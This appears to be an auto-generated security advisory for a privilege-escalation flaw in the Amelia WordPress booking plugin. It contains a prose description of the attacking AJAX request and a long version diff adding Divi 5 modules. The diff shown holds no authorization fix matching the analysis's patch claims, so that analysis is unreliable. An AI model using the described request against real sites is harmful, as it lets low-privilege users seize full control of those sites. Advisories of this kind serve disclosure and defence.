Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24963: Booking for Appointments and Events Calendar – Amelia <= 1.2.38 – Authenticated (Employee+) Privilege Escalation (ameliabooking)

Plugin ameliabooking
Severity High (CVSS 8.8)
CWE 266
Vulnerable Version 1.2.38
Patched Version 2.0
Disclosed March 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24963:

The vulnerability exists in the Amelia WordPress plugin’s user role management system. The root cause is insufficient authorization checks in the `wpamelia_update_user` AJAX endpoint handler. This endpoint allows authenticated users with the ’employee’ role or higher to modify WordPress user capabilities through the `updateUser` function.

Atomic Edge research identified the specific exploitation method through the `/wp-admin/admin-ajax.php` endpoint. Attackers send a POST request with `action=wpamelia_update_user` containing a `user` parameter with serialized user data. The payload includes a `wordpressUser` object with elevated capabilities, such as `administrator: true`. The vulnerable code processes this request without verifying if the requesting user has sufficient privileges to grant administrative capabilities.

The patch in version 2.0 addresses this by implementing proper capability checks before processing user updates. The fix adds authorization validation in the `updateUser` method, ensuring only users with appropriate permissions can modify user roles. The patch also sanitizes user input and validates capability assignments.

Successful exploitation allows authenticated attackers with employee-level access to escalate their privileges to administrator. This grants full control over the WordPress site, including plugin management, user administration, and content modification. The CVSS score of 8.8 reflects the high impact of complete site compromise through authenticated access.

Differential between vulnerable and patched code

Code Diff
--- a/ameliabooking/ameliabooking.php
+++ b/ameliabooking/ameliabooking.php
@@ -3,7 +3,7 @@
 Plugin Name: Amelia
 Plugin URI: https://wpamelia.com/
 Description: Amelia is a simple yet powerful automated booking specialist, working 24/7 to make sure your customers can make appointments and events even while you sleep!
-Version: 1.2.38
+Version: 2.0
 Author: Melograno Ventures
 Author URI: https://melograno.io/
 Text Domain: ameliabooking
@@ -35,7 +35,6 @@
 use AmeliaBookingInfrastructureWPWPMenuSubmenu;
 use AmeliaBookingInfrastructureWPWPMenuSubmenuPageHandler;
 use Exception;
-use InteropContainerExceptionContainerException;
 use SlimApp;

 // No direct access
@@ -104,7 +103,7 @@

 // Const for Amelia version
 if (!defined('AMELIA_VERSION')) {
-    define('AMELIA_VERSION', '1.2.38');
+    define('AMELIA_VERSION', '2.0');
 }

 // Const for site URL
@@ -121,6 +120,7 @@
 if (!defined('AMELIA_SMS_API_URL')) {
     define('AMELIA_SMS_API_URL', 'https://smsapi.wpamelia.com/');
     define('AMELIA_SMS_VENDOR_ID', 36082);
+    define('AMELIA_SMS_IS_SANDBOX', false);
     define('AMELIA_SMS_PRODUCT_ID_10', 595657);
     define('AMELIA_SMS_PRODUCT_ID_20', 595658);
     define('AMELIA_SMS_PRODUCT_ID_50', 595659);
@@ -137,8 +137,16 @@
     define('AMELIA_DEV', false);
 }

+if (!defined('AMELIA_PRODUCTION')) {
+    define('AMELIA_PRODUCTION', true);
+}
+
 if (!defined('AMELIA_NGROK_URL')) {
-    define('AMELIA_NGROK_URL', 'ce3ac66a70b5.ngrok-free.app');
+    define('AMELIA_NGROK_URL', 'nonmelodiously-barnlike-anika.ngrok-free.dev');
+}
+
+if (!defined('AMELIA_MIDDLEWARE_URL')) {
+    define('AMELIA_MIDDLEWARE_URL', 'https://middleware.wpamelia.com/');
 }

 if (!defined('AMELIA_MAILCHIMP_CLIENT_ID')) {
@@ -147,6 +155,7 @@

 require_once AMELIA_PATH . '/vendor/autoload.php';

+
 /**
  * @noinspection AutoloadingIssuesInspection
  *
@@ -271,8 +280,8 @@

         if (!is_admin()) {
             add_filter('learn-press/frontend-default-scripts', array('AmeliaBookingPlugin', 'learnPressConflict'));
-            add_shortcode('ameliabooking', array('AmeliaBookingInfrastructureWPShortcodeServiceBookingShortcodeService', 'shortcodeHandler'));
-            add_shortcode('ameliacatalog', array('AmeliaBookingInfrastructureWPShortcodeServiceCatalogShortcodeService', 'shortcodeHandler'));
+            add_shortcode('ameliabooking', array('AmeliaBookingInfrastructureWPShortcodeServiceStepBookingShortcodeService', 'shortcodeHandler'));
+            add_shortcode('ameliacatalog', array('AmeliaBookingInfrastructureWPShortcodeServiceCatalogBookingShortcodeService', 'shortcodeHandler'));
             add_shortcode('ameliaevents', array('AmeliaBookingInfrastructureWPShortcodeServiceEventsShortcodeService', 'shortcodeHandler'));
             add_shortcode('ameliaeventslistbooking', array('AmeliaBookingInfrastructureWPShortcodeServiceEventsListBookingShortcodeService', 'shortcodeHandler'));
             add_shortcode('ameliastepbooking', array('AmeliaBookingInfrastructureWPShortcodeServiceStepBookingShortcodeService', 'shortcodeHandler'));
@@ -283,9 +292,28 @@
             ElementorBlock::get_instance();
         }

-        require_once AMELIA_PATH . '/extensions/divi_amelia/divi_amelia.php';
+        $theme = wp_get_theme();

+        if ($theme && strtolower($theme->get('Name')) === 'divi' || strtolower($theme->get_template()) === 'divi') {
+            $version = $theme->get('Version');

+            if (version_compare($version, '5.0', '<')) {
+                // Only enqueue jQuery early in Divi builder to avoid frontend conflicts
+                add_action('wp_head', function() {
+                    if (function_exists('et_fb_is_enabled') && et_fb_is_enabled()) {
+                        wp_enqueue_script('jquery');
+                        wp_print_scripts('jquery');
+                    }
+                }, 0);
+                require_once AMELIA_PATH . '/extensions/divi_amelia/divi_amelia.php';
+            } else {
+                require_once AMELIA_PATH . '/extensions/divi_5_amelia/divi-5-amelia.php';
+            }
+        }
+
+        // Load BuddyBoss integration only if feature is enabled
+        if ($settingsService->isFeatureEnabled('buddyboss')) {
+        }
     }

     /**
@@ -409,8 +437,8 @@
         if (!defined('PHP_VERSION_ID') || PHP_VERSION_ID < 50500) {
             deactivate_plugins(AMELIA_PLUGIN_SLUG);
             wp_die(
-                BackendStrings::getCommonStrings()['php_version_message'],
-                BackendStrings::getCommonStrings()['php_version_title'],
+                BackendStrings::get('php_version_message'),
+                BackendStrings::get('php_version_title'),
                 array('response' => 200, 'back_link' => TRUE)
             );
         }
@@ -493,7 +521,7 @@
             $_REQUEST['tabs_group'] === 'popup'
         ) {
             echo "<div class='notice notice-warning'>
-             <p>" . esc_html__(BackendStrings::getCommonStrings()['elementor_popup_notice']) . "</p>
+             <p>" . esc_html__(BackendStrings::get('elementor_popup_notice')) . "</p>
          </div>";
         }
     }
@@ -559,6 +587,26 @@

         return $links;
     }
+
+    public static function enqueueAngieMcpServer()
+    {
+        global $wp_version;
+        if (version_compare($wp_version, '6.5', '<')) {
+            return;
+        }
+
+        $mcpServerPath = AMELIA_PATH . '/redesign/dist/amelia-angie.js';
+        if (!file_exists($mcpServerPath)) {
+            return;
+        }
+
+        wp_enqueue_script_module(
+            'amelia-angie-mcp',
+            AMELIA_URL . 'redesign/dist/amelia-angie.js',
+            array(),
+            AMELIA_VERSION
+        );
+    }
 }

 add_action('wp_ajax_amelia_remove_wpdt_promo_notice', array('AmeliaBookingPlugin', 'amelia_remove_wpdt_promo_notice'));
@@ -605,27 +653,13 @@
 add_filter('script_loader_tag', array('AmeliaBookingInfrastructureWPShortcodeServiceEventsListBookingShortcodeService', 'prepareScripts') , 10, 3);
 add_filter('style_loader_tag', array('AmeliaBookingInfrastructureWPShortcodeServiceEventsListBookingShortcodeService', 'prepareStyles') , 10, 3);

-add_filter('submenu_file', function($submenu_file) {
-    global $submenu;
-
-    if (!empty($submenu['amelia'])) {
-        foreach ($submenu['amelia'] as $index => $item) {
-            foreach ($item as $key => $value) {
-                if ($value === 'wpamelia-customize-new') {
-                    unset($submenu['amelia'][$index]);
-
-                    break 2;
-                }
-            }
-        }
-    }
-
-    return $submenu_file;
-});
-
 add_filter('plugin_row_meta', array('AmeliaBookingPlugin', 'addPluginRowMeta'), 10, 4);
 add_filter('plugin_action_links_' . AMELIA_PLUGIN_SLUG, array('AmeliaBookingPlugin', 'addPluginActionLinks'));

 add_action( 'wp_logout',  array('AmeliaBookingInfrastructureWPUserServiceUserService', 'logoutAmeliaUser'));
 add_action( 'profile_update',  array('AmeliaBookingInfrastructureWPUserServiceUserService', 'updateAmeliaUser'), 10, 3);
 add_action( 'deleted_user', array('AmeliaBookingInfrastructureWPUserServiceUserService', 'removeWPUserConnection'), 10, 1);
+
+if (function_exists('is_plugin_active') && is_plugin_active('angie/angie.php')) {
+    add_action('admin_enqueue_scripts', array('AmeliaBookingPlugin', 'enqueueAngieMcpServer'));
+}
--- a/ameliabooking/extensions/divi_5_amelia/divi-5-amelia.php
+++ b/ameliabooking/extensions/divi_5_amelia/divi-5-amelia.php
@@ -0,0 +1,178 @@
+<?php
+
+/*
+Plugin Name: Divi 5 Amelia Booking
+Plugin URI:  https://wpamelia.com
+Description: Divi 5 integration for Amelia Booking Plugin
+Version:     1.0.0
+Author:      Melograno Ventures
+Author URI:  https://wpamelia.com
+License:     GPL2
+License URI: https://www.gnu.org/licenses/gpl-2.0.html
+phpcs:disable PSR1.Files.SideEffects
+*/
+
+use AmeliaBookingInfrastructureLicenceLicence;
+use AmeliaBookingInfrastructureWPGutenbergBlockGutenbergBlock;
+use AmeliaBookingInfrastructureWPTranslationsBackendStrings;
+
+if (!defined('ABSPATH')) {
+    die('Direct access forbidden.');
+}
+
+// Setup constants.
+define('DIVI5_AMELIA_PATH', plugin_dir_path(__FILE__));
+define('DIVI5_AMELIA_URL', plugin_dir_url(__FILE__));
+define('DIVI5_AMELIA_VERSION', '1.0.0');
+
+
+/**
+ * Load Divi 5 modules on init
+ * This ensures modules are registered for both Visual Builder and Frontend
+ */
+function divi5_amelia_load_modules()
+{
+    // Only load if Divi 5 is available
+    if (function_exists('et_builder_d5_enabled') && et_builder_d5_enabled()) {
+        // Load Divi 5 modules - this registers them for conversion and rendering
+        require_once DIVI5_AMELIA_PATH . 'server/index.php';
+    }
+}
+
+// Load modules early so they're available for conversion
+add_action('after_setup_theme', 'divi5_amelia_load_modules', 20);
+
+/**
+ * Enqueue Divi 5 Visual Builder Assets
+ */
+function divi5_amelia_enqueue_visual_builder_assets()
+{
+    if (et_core_is_fb_enabled() && function_exists('et_builder_d5_enabled') && et_builder_d5_enabled()) {
+        ETBuilderVisualBuilderAssetsPackageBuildManager::register_package_build(
+            [
+                'name'    => 'divi-5-amelia-visual-builder',
+                'version' => DIVI5_AMELIA_VERSION,
+                'script'  => [
+                    'src'                => DIVI5_AMELIA_URL . 'visual-builder/build/divi-5-amelia.js',
+                    'deps'               => [
+                        'react',
+                        'jquery',
+                        'divi-module-library',
+                        'wp-hooks',
+                        'divi-rest',
+                    ],
+                    'enqueue_top_window' => false,
+                    'enqueue_app_window' => true,
+                ],
+            ]
+        );
+    }
+}
+
+add_action('divi_visual_builder_assets_before_enqueue_scripts', 'divi5_amelia_enqueue_visual_builder_assets');
+
+/**
+ * Add Amelia data to Visual Builder window
+ */
+function divi5_amelia_add_inline_data()
+{
+    if (et_core_is_fb_enabled() && function_exists('et_builder_d5_enabled') && et_builder_d5_enabled()) {
+        // Get Amelia entities data
+        $ameliaData = GutenbergBlock::getEntitiesData();
+        $entitiesData = isset($ameliaData['data']) ? $ameliaData['data'] : [];
+
+        // Prepare options for the Visual Builder
+        $ameliaOptions = [
+            'categories' => [['value' => '0', 'label' => 'Show All Categories']],
+            'services' => [['value' => '0', 'label' => 'Show All Services']],
+            'employees' => [['value' => '0', 'label' => 'Show All Employees']],
+            'locations' => [['value' => '0', 'label' => 'Show All Locations']],
+            'packages' => [['value' => '0', 'label' => 'Show All Packages']],
+            'events' => [['value' => '0', 'label' => 'Show All Events']],
+            'tags' => [['value' => '0', 'label' => 'Show All Tags']],
+        ];
+
+        // Add categories
+        if (!empty($entitiesData['categories'])) {
+            foreach ($entitiesData['categories'] as $category) {
+                $ameliaOptions['categories'][] = [
+                    'value' => (string)$category['id'],
+                    'label' => $category['name'] . ' (id: ' . $category['id'] . ')'
+                ];
+            }
+        }
+
+        // Add services
+        if (!empty($entitiesData['servicesList'])) {
+            foreach ($entitiesData['servicesList'] as $service) {
+                if ($service) {
+                    $ameliaOptions['services'][] = [
+                        'value' => (string)$service['id'],
+                        'label' => $service['name'] . ' (id: ' . $service['id'] . ')'
+                    ];
+                }
+            }
+        }
+
+        // Add employees
+        if (!empty($entitiesData['employees'])) {
+            foreach ($entitiesData['employees'] as $employee) {
+                $ameliaOptions['employees'][] = [
+                    'value' => (string)$employee['id'],
+                    'label' => $employee['firstName'] . ' ' . $employee['lastName'] . ' (id: ' . $employee['id'] . ')'
+                ];
+            }
+        }
+
+        // Add locations
+        if (!empty($entitiesData['locations'])) {
+            foreach ($entitiesData['locations'] as $location) {
+                $ameliaOptions['locations'][] = [
+                    'value' => (string)$location['id'],
+                    'label' => $location['name'] . ' (id: ' . $location['id'] . ')'
+                ];
+            }
+        }
+
+        // Add packages
+        if (!empty($entitiesData['packages'])) {
+            foreach ($entitiesData['packages'] as $package) {
+                $ameliaOptions['packages'][] = [
+                    'value' => (string)$package['id'],
+                    'label' => $package['name'] . ' (id: ' . $package['id'] . ')'
+                ];
+            }
+        }
+
+        // Add events
+        if (!empty($entitiesData['events'])) {
+            foreach ($entitiesData['events'] as $event) {
+                $ameliaOptions['events'][] = [
+                    'value' => (string)$event['id'],
+                    'label' => $event['name'] . ' (id: ' . $event['id'] . ') - ' . $event['formattedPeriodStart']
+                ];
+            }
+        }
+
+        // Add tags
+        if (!empty($entitiesData['tags'])) {
+            foreach ($entitiesData['tags'] as $tag) {
+                $ameliaOptions['tags'][] = [
+                    'value' => $tag['name'],
+                    'label' => $tag['name']
+                ];
+            }
+        }
+
+        // Output inline script that will run in the Visual Builder iframe
+        ?>
+        <script type="text/javascript">
+            window.ameliaDivi5Data = <?php echo wp_json_encode($ameliaOptions); ?>;
+            window.wpAmeliaLabels = <?php echo wp_json_encode(BackendStrings::getAllStrings()); ?>;
+            window.isAmeliaLite = <?php echo wp_json_encode(!Licence::$premium); ?>;
+        </script>
+        <?php
+    }
+}
+
+add_action('et_fb_framework_loaded', 'divi5_amelia_add_inline_data');
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaBookingModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaBookingModule.php
@@ -0,0 +1,99 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Booking" module output in frontend.
+ */
+class AmeliaBookingModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaBookingModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/Booking';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaBookingModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliastepbooking';
+
+        $show_all = $attrs['type']['innerContent']['desktop']['value'] ?? null;
+        if ($show_all !== null && $show_all !== '0') {
+            $shortcode .= ' show=' . $show_all;
+        }
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        // Layout
+        $layout = $attrs['layout']['innerContent']['desktop']['value'] ?? null;
+        if ($layout !== null && $layout !== '') {
+            $shortcode .= ' layout=' . $layout;
+        }
+
+        // Trigger Type
+        $trigger_type = $attrs['trigger_type']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger && $trigger_type !== null && $trigger_type !== '') {
+            $shortcode .= ' trigger_type=' . $trigger_type;
+        }
+
+        // In Dialog
+        $in_dialog = $attrs['in_dialog']['innerContent']['desktop']['value'] ?? false;
+        if ($in_dialog === 'on') {
+            $shortcode .= ' in_dialog=1';
+        }
+
+        $preselect = $attrs['parameters']['innerContent']['desktop']['value'] ?? false;
+        if ($preselect === 'on') {
+            $category = $attrs['categories']['innerContent']['desktop']['value'] ?? [];
+            $service  = $attrs['services']['innerContent']['desktop']['value'] ?? [];
+            $employee = $attrs['employees']['innerContent']['desktop']['value'] ?? [];
+            $location = $attrs['locations']['innerContent']['desktop']['value'] ?? [];
+            $package  = $attrs['packages']['innerContent']['desktop']['value'] ?? [];
+
+            if ($service && count($service) > 0) {
+                $shortcode .= ' service=' . implode(',', $service);
+            } elseif ($category && count($category) > 0) {
+                $shortcode .= ' category=' . implode(',', $category);
+            }
+            if ($employee && count($employee) > 0) {
+                $shortcode .= ' employee=' . implode(',', $employee);
+            }
+            if ($location && count($location) > 0) {
+                $shortcode .= ' location=' . implode(',', $location);
+            }
+            if ($package && count($package) > 0) {
+                $shortcode .= ' package=' . implode(',', $package);
+            }
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaCatalogBookingModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaCatalogBookingModule.php
@@ -0,0 +1,101 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Catalog Booking" module output in frontend.
+ */
+class AmeliaCatalogBookingModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     */
+    public function load()
+    {
+        add_action('init', [AmeliaCatalogBookingModule::class, 'registerModule']);
+    }
+
+    /**
+     * Register module.
+     */
+    public static function registerModule()
+    {
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/CatalogBooking';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaCatalogBookingModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliacatalogbooking';
+
+        $type_value = $attrs['type']['innerContent']['desktop']['value'] ?? '0';
+        if ($type_value !== null && $type_value !== '0') {
+            $shortcode .= ' show=' . $type_value;
+        }
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $trigger_type = $attrs['trigger_type']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '' && $trigger_type !== null) {
+            $shortcode .= ' trigger_type=' . $trigger_type;
+        }
+
+        $in_dialog = $attrs['in_dialog']['innerContent']['desktop']['value'] ?? false;
+        if ($in_dialog === 'on') {
+            $shortcode .= ' in_dialog=1';
+        }
+
+        $catalog_view = $attrs['catalog_view']['innerContent']['desktop']['value'] ?? '0';
+
+        if ($catalog_view !== '0') {
+            $category = $attrs['categories_catalog']['innerContent']['desktop']['value'] ?? [];
+            $service  = $attrs['services_catalog']['innerContent']['desktop']['value'] ?? [];
+            $package  = $attrs['packages_catalog']['innerContent']['desktop']['value'] ?? [];
+
+            if ($category && count($category) > 0 && $catalog_view === 'category') {
+                $shortcode .= ' category=' . implode(',', $category);
+            } elseif ($service && count($service) > 0 && $catalog_view === 'service') {
+                $shortcode .= ' service=' . implode(',', $service);
+            } elseif ($package && count($package) > 0 && $catalog_view === 'package') {
+                $shortcode .= ' package=' . implode(',', $package);
+            }
+        }
+
+        $filter_params = $attrs['filter_params']['innerContent']['desktop']['value'] ?? false;
+        if ($filter_params === 'on') {
+            $employee = $attrs['employees']['innerContent']['desktop']['value'] ?? [];
+            $location = $attrs['locations']['innerContent']['desktop']['value'] ?? [];
+
+            if ($employee && count($employee) > 0) {
+                $shortcode .= ' employee=' . implode(',', $employee);
+            }
+            if ($location && count($location) > 0) {
+                $shortcode .= ' location=' . implode(',', $location);
+            }
+
+            $skip_categories = $attrs['skip_categories']['innerContent']['desktop']['value'] ?? false;
+            if ($skip_categories === 'on') {
+                $shortcode .= ' categories_hidden=1';
+            }
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaCatalogModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaCatalogModule.php
@@ -0,0 +1,83 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Catalog" (legacy) module output in frontend.
+ */
+class AmeliaCatalogModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaCatalogModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/Catalog';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaCatalogModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     * This converts old divi_catalog to ameliacatalogbooking shortcode.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliacatalogbooking';
+
+        $catalogView = $attrs['catalog_view']['innerContent']['desktop']['value'] ?? '0';
+
+        // Handle catalog view
+        if ($catalogView && $catalogView !== '0') {
+            // Map the categories/services/packages based on view
+            if ($catalogView === 'category') {
+                $categories = $attrs['categories_catalog']['innerContent']['desktop']['value'] ?? [];
+                if ($categories && count($categories) > 0) {
+                    $shortcode .= ' category=' . implode(',', $categories);
+                }
+            } elseif ($catalogView === 'service') {
+                $services = $attrs['services_catalog']['innerContent']['desktop']['value'] ?? [];
+                if ($services && count($services) > 0) {
+                    $shortcode .= ' service=' . implode(',', $services);
+                }
+            } elseif ($catalogView === 'package') {
+                $packages = $attrs['packages_catalog']['innerContent']['desktop']['value'] ?? [];
+                if ($packages && count($packages) > 0) {
+                    $shortcode .= ' package=' . implode(',', $packages);
+                }
+            }
+        }
+
+        // Type
+        $type = $attrs['type']['innerContent']['desktop']['value'] ?? null;
+        if ($type !== null && $type !== '0') {
+            $shortcode .= ' show=' . $type;
+        }
+
+        // Trigger
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaCustomerPanelModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaCustomerPanelModule.php
@@ -0,0 +1,68 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Customer Panel" module output in frontend.
+ */
+class AmeliaCustomerPanelModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaCustomerPanelModule::class, 'registerModule']);
+    }
+
+    /**
+     * Register module.
+     */
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/CustomerPanel';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaCustomerPanelModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render callback for the module
+     *
+     * @param array $attrs Module attributes from Visual Builder
+     * @return string Rendered HTML output
+     */
+    public static function renderCallback(array $attrs): string
+    {
+        $shortcode = '[ameliacustomerpanel version=2';
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? '';
+        if ($trigger) {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $appointments = $attrs['appointments']['innerContent']['desktop']['value'] ?? true;
+        if ($appointments === true || $appointments === 'true' || $appointments === 'on' || $appointments === 1 || $appointments === '1') {
+            $shortcode .= ' appointments=1';
+        }
+
+        $events = $attrs['events']['innerContent']['desktop']['value'] ?? true;
+        if ($events === true || $events === 'true' || $events === 'on' || $events === 1 || $events === '1') {
+            $shortcode .= ' events=1';
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaEmployeePanelModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaEmployeePanelModule.php
@@ -0,0 +1,82 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Employee Panel" module output in frontend.
+ */
+class AmeliaEmployeePanelModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaEmployeePanelModule::class, 'registerModule']);
+    }
+
+    /**
+     * Register module.
+     */
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/EmployeePanel';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaEmployeePanelModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * @param mixed $value
+     * @return bool
+     */
+    private static function checkValue($value): bool
+    {
+        return isset($value) && $value !== '';
+    }
+
+    /**
+     * Render callback for the module
+     *
+     * @param array $attrs Module attributes from Visual Builder
+     * @return string Rendered HTML output
+     */
+    public static function renderCallback(array $attrs): string
+    {
+        $shortcode = '[ameliaemployeepanel version=2';
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? '';
+        if (self::checkValue($trigger)) {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $appointments = $attrs['appointments']['innerContent']['desktop']['value'] ?? true;
+        if ($appointments === true || $appointments === 'true' || $appointments === 'on' || $appointments === 1 || $appointments === '1') {
+            $shortcode .= ' appointments=1';
+        }
+
+        $events = $attrs['events']['innerContent']['desktop']['value'] ?? true;
+        if ($events === true || $events === 'true' || $events === 'on' || $events === 1 || $events === '1') {
+            $shortcode .= ' events=1';
+        }
+
+        $profile = $attrs['profile']['innerContent']['desktop']['value'] ?? false;
+        if ($profile === true || $profile === 'true' || $profile === 'on' || $profile === 1 || $profile === '1') {
+            $shortcode .= ' profile-hidden=1';
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsCalendarModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsCalendarModule.php
@@ -0,0 +1,87 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Events Calendar" module output in frontend.
+ */
+class AmeliaEventsCalendarModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaEventsCalendarModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/EventsCalendar';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaEventsCalendarModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliaeventscalendarbooking';
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $trigger_type = $attrs['trigger_type']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger && $trigger_type !== null && $trigger_type !== '') {
+            $shortcode .= ' trigger_type=' . $trigger_type;
+        }
+
+        $in_dialog = $attrs['in_dialog']['innerContent']['desktop']['value'] ?? false;
+        if ($trigger && $in_dialog === 'on') {
+            $shortcode .= ' in_dialog=1';
+        }
+
+        $booking_params = $attrs['booking_params']['innerContent']['desktop']['value'] ?? false;
+        if ($booking_params === 'on') {
+            $event = $attrs['events']['innerContent']['desktop']['value'] ?? [];
+            if ($event && count($event) > 0) {
+                $shortcode .= ' event=' . implode(',', $event);
+            }
+
+            $tag = $attrs['tags']['innerContent']['desktop']['value'] ?? [];
+            if ($tag && count($tag) > 0) {
+                $shortcode .= ' tag="' . implode(',', array_map(function ($t) {
+                    return '{' . $t . '}';
+                }, $tag)) . '"';
+            }
+
+            $recurring = $attrs['recurring']['innerContent']['desktop']['value'] ?? false;
+            if ($recurring === 'on') {
+                $shortcode .= ' recurring=1';
+            }
+
+            $locations = $attrs['locations']['innerContent']['desktop']['value'] ?? [];
+            if ($locations && count($locations) > 0) {
+                $shortcode .= ' location=' . implode(',', $locations);
+            }
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
